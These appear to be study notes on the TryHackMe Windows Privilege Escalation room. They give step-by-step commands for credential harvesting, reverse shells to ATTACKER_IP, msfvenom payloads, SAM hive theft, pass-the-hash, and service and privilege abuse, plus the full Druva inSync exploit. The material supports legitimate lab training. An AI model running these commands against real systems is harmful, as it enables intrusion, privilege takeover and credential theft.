CHALLENGE INFORMATION

Windows Privilege Escalation LogoPlatform: TryHackMe
Path: Red Teaming
Module: Post Compromise
Room: Windows Privilege Escalation

DESCRIPTION:

Learn the fundamentals of Windows privilege escalation techniques.

Windows Privilege Escalation

Local Service Account

  • Low-privilege built-in account
  • Runs services with minimal local system access
  • Cannot authenticate to remote network resources
  • Limited local access
  • No network authentication
  • Services that only need local system resources and do not require network connectivity

Network Service Account

  • Built-in Windows account
  • Can access network resources
  • Uses computer’s network credentials
  • Limited network access
  • Can authenticate to remote network resources using computer account credentials
  • Services that need to interact with network resources but do not require specific user credentials

Harvesting Passwords from Common Locations

Unattended Windows Installations

When Windows Deployment Services is used for deployment (to distribute a single operating system image to multiple hosts), the process requires administrative credentials. These credentials may be stored in the following locations:

  • C:\Unattend.xml
  • C:\Windows\Panther\Unattend.xml
  • C:\Windows\Panther\Unattend\Unattend.xml
  • C:\Windows\system32\sysprep.inf
  • C:\Windows\system32\sysprep\sysprep.xml

PowerShell History

We can retrieve PowerShell history using either Command Prompt or PowerShell.

Using Command Prompt:

type %userprofile%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Using PowerShell:

type $Env:userprofile\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt

Saved Windows Credentials

Windows allows users to store credentials for other accounts on the system. We can list these saved credentials and use them to run programs with elevated privileges.

List saved credentials:

cmdkey /list

Use saved credentials to run programs:

runas /savecred /user:admin cmd.exe

IIS Configuration

Internet Information Services (IIS) is the default web server on Windows. Its configuration is stored in web.config files, which may contain plaintext credentials. Potential storage locations include:

  • C:\inetpub\wwwroot\web.config
  • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config

Retrieve the connection string:

type C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config | findstr connectionString

Retrieving Credentials from Software: PuTTY

Users can store session credentials and configuration data in PuTTY. While PuTTY does not store SSH passwords, it may store proxy configurations with cleartext authentication credentials.

Retrieve proxy credentials:

reg query HKEY_CURRENT_USER\Software\SimonTatham\PuTTY\Sessions\ /f "Proxy" /s

Other Quick Wins

Scheduled Tasks

We can examine scheduled tasks to identify services running with elevated privileges. The Task to Run parameter indicates the binary that is executed, while the Run As User parameter specifies the security context under which the binary runs.

Check a specific service:

schtasks /query /tn vulntask /fo list /v

Check permissions on the binary:

icacls c:\tasks\schtask.bat

Note: The F permission indicates Full Access.

Exploiting Scheduled Tasks: Example

First, we locate a service whose binary we have permission to modify. In this example, we identify a scheduled task named vulntask that runs c:\tasks\schtask.bat.

Overwrite the binary to spawn a reverse shell:

echo c:\tools\nc64.exe -e cmd.exe ATTACKER_IP 4444 > C:\tasks\schtask.bat

Catch the reverse connection on our attack machine:

nc -lvp 4444

Wait for the scheduled task to run, or trigger it manually:

schtasks /run /tn vulntask

AlwaysInstallElevated

Windows Installer files (also known as .msi files) are used to install applications on the system. They typically run with the privilege level of the user who starts them. However, these can be configured to run with higher privileges from any user account, even unprivileged ones.

This configuration potentially allows us to generate a malicious MSI file that runs with administrative privileges.

This configuration requires two registry values to be set:

reg query HKCU\SOFTWARE\Policies\Microsoft\Windows\Installer
reg query HKLM\SOFTWARE\Policies\Microsoft\Windows\Installer

Exploiting AlwaysInstallElevated

If both registry values are set, we can generate a malicious .msi file:

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKING_MACHINE_IP LPORT=LOCAL_PORT -f msi -o malicious.msi

Next, we run the Metasploit handler module to catch the reverse shell. Once the malicious file is transferred to the target system, we execute it:

msiexec /quiet /qn /i C:\Windows\Temp\malicious.msi

Abusing Service Misconfigurations

Windows Services

Services have a Discretionary Access Control List (DACL), which indicates who has permission to start, stop, pause, query status, query configuration, or reconfigure the service, among other privileges. We can use Process Hacker to examine these permissions.

Check a service and retrieve its configuration:

sc qc apphostsvc

Note: The BINARY_PATH_NAME parameter shows the associated executable, while the SERVICE_START_NAME parameter indicates the account used to run the service. Configurations are stored under HKLM\SYSTEM\CurrentControlSet\Services.

We can also check these using the Windows Registry Editor:

regedit

: Navigate to: Computer\HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\AppHostSvc
: ImagePath: associated executable
: ObjectName: the account used to start the service

If a DACL is configured for the service, it will be stored in a subkey called Security.

Insecure Permissions on Service Executable

If the executable associated with a service has weak permissions that allow an attacker to modify or replace it, the attacker can gain the privileges of the service’s account trivially.

Attack Example

Step 1: Check the service configuration.

sc qc WindowsScheduler

Step 2: Check the permissions on the executable.

icacls C:\PROGRA~2\SYSTEM~1\WService.exe

Step 3: Generate the exe-service payload.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4445 -f exe-service -o rev-svc.exe

Step 4: Serve the payload via a Python web server.

python3 -m http.server

Step 5: Download the payload to the target.

wget http://attackbox-ip:8000/rev-svc.exe -O rev-svc.exe

Step 6: Replace the service executable.

cd C:\PROGRA~2\SYSTEM~1\
move WService.exe WService.exe.bkp
move C:\Users\thm-unpriv\rev-svc.exe WService.exe

Step 7: Grant full permissions to the Everyone group.

icacls WService.exe /grant Everyone:F

Step 8: Start a reverse shell listener on our attack machine.

nc -lvp 4445

Step 9: Wait for the service to restart, trigger it, or restart it manually.

sc stop windowsscheduler
sc start windowsscheduler

Note: In PowerShell, sc is an alias for Set-Content. Therefore, we must use sc.exe:

sc.exe stop windowsscheduler
sc.exe start windowsscheduler

Unquoted Service Paths

When a service path contains spaces and is not enclosed in quotation marks, Windows attempts to locate and execute the service executable by searching each directory in the path sequentially.

We can create an executable with a name matching an earlier path component, causing the service to run our arbitrary executable instead of the legitimate one. Note that most service executables are installed under C:\Program Files or C:\Program Files (x86)\, which are not writeable by unprivileged users by default.

Attack Example

Step 1: Check permissions on the target directory.

icacls c:\MyPrograms
: AD and WD privileges indicate we can create subdirectories and files

Step 2: Create the exe-service payload and transfer it to the target.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4446 -f exe-service -o rev-svc2.exe

Step 3: Start a Netcat listener.

nc -lvp 4446

Step 4: Once transferred, move the payload to a location where path hijacking might occur.

move C:\Users\thm-unpriv\rev-svc2.exe C:\MyPrograms\Disk.exe

Step 5: Grant Everyone full permissions on the file.

icacls C:\MyPrograms\Disk.exe /grant Everyone:F

Step 6: Wait for the service to restart or trigger it manually.

sc stop "disk sorter enterprise"
sc start "disk sorter enterprise"

Insecure Service Permissions

The service DACL (distinct from the service’s executable DACL) may allow us to modify the configuration of a service. This allows us to point to any executable and run it with any account, including SYSTEM.

We check for service DACL permissions using AccessChk from the Sysinternals suite:

: AccessChk is installed to C:\tools\AccessChk; run the command from that directory
accesschk64.exe -qlc thmservice

: SERVICE_ALL_ACCESS permission with BUILTIN\\Users indicates any user can reconfigure the service

Attack Example

Step 1: Create the exe-service reverse shell and start the listener.

msfvenom -p windows/x64/shell_reverse_tcp LHOST=ATTACKER_IP LPORT=4447 -f exe-service -o rev-svc3.exe
nc -lvp 4447

Step 2: Transfer the reverse shell executable to the target.

Step 3: Grant permissions to Everyone.

icacls C:\Users\thm-unpriv\rev-svc3.exe /grant Everyone:F

Step 4: Reconfigure the service by changing the associated executable and account.

: Note the spaces after the equal signs
sc config THMService binPath= "C:\Users\thm-unpriv\rev-svc3.exe" obj= LocalSystem

Step 5: Run the service using any account.

sc stop THMService
sc start THMService

Abusing Dangerous Privileges

Windows Privileges

Privileges are rights that an account has to perform specific system-related tasks. These tasks range from the privilege to shut down the machine to privileges that bypass DACL-based access controls. Microsoft provides a complete list of privileges on Windows systems.

Some of these privileges are potentially exploitable; the Priv2Admin project maintains a list of such privileges.

Check assigned privileges for the current user:

whoami /priv

SeBackup and SeRestore

These privileges allow users to read and write to any file in the system, ignoring any DACL in place.

Attack Example: Copying SAM and SYSTEM Registry Hives

Step 1: Log in as a user who is a member of the Backup Operators group with SeBackup and SeRestore privileges.

Step 2: Open Command Prompt as Administrator. We will be prompted for a password.

Step 3: Verify our privileges.

whoami /priv

Step 4: Retrieve (backup) the SAM and SYSTEM registry hives.

reg save hklm\system C:\Users\THMBackup\system.hive
reg save hklm\sam C:\Users\THMBackup\sam.hive

Step 5: Copy the files to our attack machine using SMB.

Create an SMB share on the attack machine:

mkdir share
    
# Create a share named public pointing to the share directory
# This requires the username and password of our current Windows session
python3.9 /opt/impacket/examples/smbserver.py -smb2support -username THMBackup -password CopyMaster555 public share

Copy the files from the target:

copy C:\Users\THMBackup\sam.hive \\ATTACKER_IP\public\
copy C:\Users\THMBackup\system.hive \\ATTACKER_IP\public\

Step 6: Retrieve the user password hashes using Impacket.

python3.9 /opt/impacket/examples/secretsdump.py -sam sam.hive -system system.hive LOCAL
# Example output for Administrator entry:
# Administrator:500:aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94:::

Step 7: Perform Pass-the-Hash with the administrator’s hash.

python3.9 /opt/impacket/examples/psexec.py -hashes aad3b435b51404eeaad3b435b51404ee:13a04cdcf3f7ec41264e568127c5ca94 administrator@MACHINE_IP

SeTakeOwnership

This privilege allows a user to take ownership of any object on the system, including files and registry keys. While being the owner of a file does not necessarily grant full privileges over it, ownership does allow us to assign ourselves any privileges we require. The objective is to locate a service running as SYSTEM and take ownership of the service’s executable.

Attack Example: Abusing utilman.exe (Ease of Access option on the lock screen)

Step 1: Log in with the user who has the SeTakeOwnership privilege.

Step 2: Open Command Prompt as administrator.

Step 3: Verify our privileges.

whoami /priv

Step 4: Since Utilman runs with SYSTEM privileges, we replace the original binary.

Take ownership of the binary:

takeown /f C:\Windows\System32\Utilman.exe

Grant our user full permissions over utilman.exe:

icacls C:\Windows\System32\Utilman.exe /grant THMTakeOwnership:F

Replace utilman.exe with a copy of cmd.exe:

copy cmd.exe utilman.exe

Step 5: Trigger Utilman.

Lock the screen, then click the Ease of Access button.

SeImpersonate and SeAssignPrimaryToken

These privileges allow a process to impersonate other users and act on their behalf, typically by spawning a process or thread under the security context of another user.

If we take control of a process with SeImpersonate or SeAssignPrimaryToken privileges, we can impersonate any user connecting and authenticating to that process.

Note that the LOCAL SERVICE and NETWORK SERVICE accounts already possess these privileges, as does the IIS default account (iis apppool\defaultapppool).

Attack Steps Overview

  • Spawn a process that allows users to connect and authenticate to it, enabling impersonation.
  • Find a method to force privileged users to connect and authenticate to our spawned malicious process.

Attack Example: Using RogueWinRM to trigger the BITS service and impersonate its SYSTEM privileges.

Background Information

The RogueWinRM exploit is possible because whenever a user (including unprivileged users) starts the BITS service in Windows, it automatically creates a connection to port 5985 using SYSTEM privileges. Port 5985 is typically used for the WinRM service, which exposes a PowerShell console for remote network access.

If the WinRM service is not running on the victim server, an attacker can start a fake WinRM service on port 5985 and capture the authentication attempt made by the BITS service when starting. If the attacker has SeImpersonate privileges, they can execute any command on behalf of the connecting user, which is SYSTEM.

Step 1: Upload RogueWinRM to the target machine (in this example, it is already located in C:\tools\).

Step 2: Verify assigned privileges.

whoami /priv

Step 3: Start a Netcat listener on the attack machine.

nc -lvp 4442

Step 4: Trigger the RogueWinRM exploit.

: -p specifies the executable
: -a specifies arguments to pass to the executable
c:\tools\RogueWinRM\RogueWinRM.exe -p "C:\tools\nc64.exe" -a "-e cmd.exe ATTACKER_IP 4442"

Note that the BITS service stops automatically two minutes after starting.

Abusing Vulnerable Software

Unpatched Software

The wmic product command may not return all installed programs, depending on how the software was installed. Therefore, we should also check desktop shortcuts and available services.

List installed software and versions:

wmic product get name,version,vendor

Search for existing exploits on installed software:

Attack Example: Exploiting Unpatched Druva inSync 6.6.3

Multiple vulnerabilities exist in version 6.6.3 and version 6.5.0.

The vulnerability exists because the software runs an RPC (Remote Procedure Call) server on port 6064 with SYSTEM privileges, accessible only from localhost.

RPC is a mechanism that allows a process to expose functions (called procedures in RPC terminology) over the network so that other machines can call them remotely.

In Druva inSync, one of the procedures exposed (specifically procedure number 5) on port 6064 allowed anyone to request the execution of any command. Since the RPC server runs as SYSTEM, any command is executed with SYSTEM privileges.

The patch requires commands to start with C:\ProgramData\Druva\inSync4\. We can exploit this by using path traversal: C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe.

Here is the original exploit and its source code:

$ErrorActionPreference = "Stop"

$cmd = "net user pwnd /add"

$s = New-Object System.Net.Sockets.Socket(
    [System.Net.Sockets.AddressFamily]::InterNetwork,
    [System.Net.Sockets.SocketType]::Stream,
    [System.Net.Sockets.ProtocolType]::Tcp
)
$s.Connect("127.0.0.1", 6064)

$header = [System.Text.Encoding]::UTF8.GetBytes("inSync PHC RPCW[v0002]")
$rpcType = [System.Text.Encoding]::UTF8.GetBytes("$([char]0x0005)`0`0`0")
$command = [System.Text.Encoding]::Unicode.GetBytes("C:\ProgramData\Druva\inSync4\..\..\..\Windows\System32\cmd.exe /c $cmd");
$length = [System.BitConverter]::GetBytes($command.Length);

$s.Send($header)
$s.Send($rpcType)
$s.Send($length)
$s.Send($command)

We modify the executed command via the $cmd variable to create a user and assign administrative privileges:

net user pwnd SimplePass123 /add & net localgroup administrators pwnd /add

Once executed, we open an administrative Command Prompt with our newly created user – pwnd – and the assigned password.

Tools of the Trade

WinPEAS

WinPEAS is available as both a precompiled executable and a .bat script. It generates lengthy output, so we recommend redirecting output to a file: winpeas.exe > outputfile.txt.

PrivescCheck

PrivescCheck is a PowerShell script, requiring no binary execution. However, we may need to bypass execution policy restrictions:

Set-ExecutionPolicy Bypass -Scope process -Force

Load the module and run it:

. .\PrivescCheck.ps1
Invoke-PrivescCheck

WES-NG

Windows Exploit Suggester - Next Generation runs on the attacking machine. It is a Python script that requires running systeminfo on the target and transferring the output to the attack machine.

# Update the database
wes.py --update

# Run the check
wes.py systeminfo.txt

Metasploit

If we already have a Meterpreter shell on the target, we can use the multi/recon/local_exploit_suggester module to list vulnerabilities.

Conclusion

Additional resources for Windows privilege escalation techniques: